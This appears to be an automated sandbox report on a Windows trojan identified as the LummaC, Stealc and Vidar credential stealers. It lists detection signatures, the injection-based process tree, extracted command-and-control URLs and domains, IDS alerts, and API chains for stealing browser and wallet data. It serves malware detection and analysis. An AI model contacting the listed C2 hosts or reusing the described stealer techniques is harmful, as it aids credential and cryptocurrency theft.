Edit tour

Windows Analysis Report
NdSXVNeoET.exe

Overview

General Information

Sample name:	NdSXVNeoET.exe renamed because original name is a hash value
Original sample name:	2fdea74a17bd7c2816d13404852ec409.exe
Analysis ID:	1528263
MD5:	2fdea74a17bd7c2816d13404852ec409
SHA1:	38cd4686e4db51fc6aff432323bf55a560f571d9
SHA256:	33105a1685207694a3de20a03c82524fe8cd7f0f19fa85ba5d88d6b4d8457660
Tags:	32exetrojan
Infos:

Detection

LummaC, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

NdSXVNeoET.exe (PID: 5796 cmdline: "C:\Users\user\Desktop\NdSXVNeoET.exe" MD5: 2FDEA74A17BD7C2816D13404852EC409)

MSBuild.exe (PID: 6236 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cmd.exe (PID: 6496 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIDHDGDHJEG.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userIDHDGDHJEG.exe (PID: 988 cmdline: "C:\Users\userIDHDGDHJEG.exe" MD5: 64FE8DFA186F801847E6C710F30B2884)

MSBuild.exe (PID: 6292 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 3320 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6292 -s 1636 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 2760 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6292 -s 1576 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 1488 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 988 -s 272 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 1016 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5796 -s 272 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: LummaC

{"C2 url": ["bemuzzeki.sbs", "wickedneatr.sbs", "invinjurhey.sbs", "frizzettei.sbs", "exilepolsiy.sbs", "laddyirekyi.sbs", "isoplethui.sbs", "exemplarou.sbs"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.2758549096.0000000001387000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000000A.00000002.2510268236.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: NdSXVNeoET.exe PID: 5796	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 6236	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6236	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 6236	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6236	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
10.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
10.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.NdSXVNeoET.exe.8cdad8.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
9.2.userIDHDGDHJEG.exe.1b0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
2.2.MSBuild.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.MSBuild.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.NdSXVNeoET.exe.8cdad8.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.NdSXVNeoET.exe.8a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 46.8.231.109, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6236, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49718

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:34.302042+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49725	188.114.97.3	443	TCP
2024-10-07T18:00:35.584403+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49726	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:34.302042+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49725	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:35.584403+0200	2049812	1	A Network Trojan was detected	192.168.2.6	49726	188.114.97.3	443	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:21.228737+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.6	49718	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:21.222223+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49718	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:21.429675+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49718	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:22.010410+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49718	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:21.436580+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.6	49718	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:21.035441+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49718	46.8.231.109	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:22.181598+0200	2803304	3	Unknown Traffic	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:25.507410+0200	2803304	3	Unknown Traffic	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:26.463237+0200	2803304	3	Unknown Traffic	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:27.032496+0200	2803304	3	Unknown Traffic	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:27.559167+0200	2803304	3	Unknown Traffic	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:29.654102+0200	2803304	3	Unknown Traffic	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:30.128557+0200	2803304	3	Unknown Traffic	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:32.293584+0200	2803304	3	Unknown Traffic	192.168.2.6	49724	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: NdSXVNeoET.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://46.8.231.109/c4754d4f680ead72.php	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\userIDHDGDHJEG.exe	Avira: detection malicious, Label: HEUR/AGEN.1310458
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\a43486128347[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1310458

Found malware configuration

Source: 2.2.MSBuild.exe.400000.1.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}
Source: 2.2.MSBuild.exe.400000.1.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}
Source: 10.2.MSBuild.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["bemuzzeki.sbs", "wickedneatr.sbs", "invinjurhey.sbs", "frizzettei.sbs", "exilepolsiy.sbs", "laddyirekyi.sbs", "isoplethui.sbs", "exemplarou.sbs"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for dropped file

Source: C:\Users\userIDHDGDHJEG.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\a43486128347[1].exe	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: NdSXVNeoET.exe

ReversingLabs: Detection: 28%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\userIDHDGDHJEG.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\a43486128347[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: NdSXVNeoET.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: wickedneatr.sbs
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: invinjurhey.sbs
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: laddyirekyi.sbs
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exilepolsiy.sbs
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: bemuzzeki.sbs
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exemplarou.sbs
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: isoplethui.sbs
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: frizzettei.sbs
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exemplarou.sbs
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: - Screen Resoluton:
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: Workgroup: -
Source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	2_2_00409B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	2_2_0040C820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	2_2_00407240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_00409AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	2_2_00418EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAE6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	2_2_6CAE6C80

Source: NdSXVNeoET.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49726 version: TLS 1.2

Source: NdSXVNeoET.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000002.00000002.2787879972.000000006CB4D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000002.00000002.2787879972.000000006CB4D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008B9ABF FindFirstFileExW,	0_2_008B9ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	2_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	2_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	2_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040DE10
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001C9ABF FindFirstFileExW,	9_2_001C9ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	9_2_00208051
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	9_2_0020A0B9
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	9_2_001F82E8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	9_2_0021E318
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_001FA3BF
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	9_2_002243F8
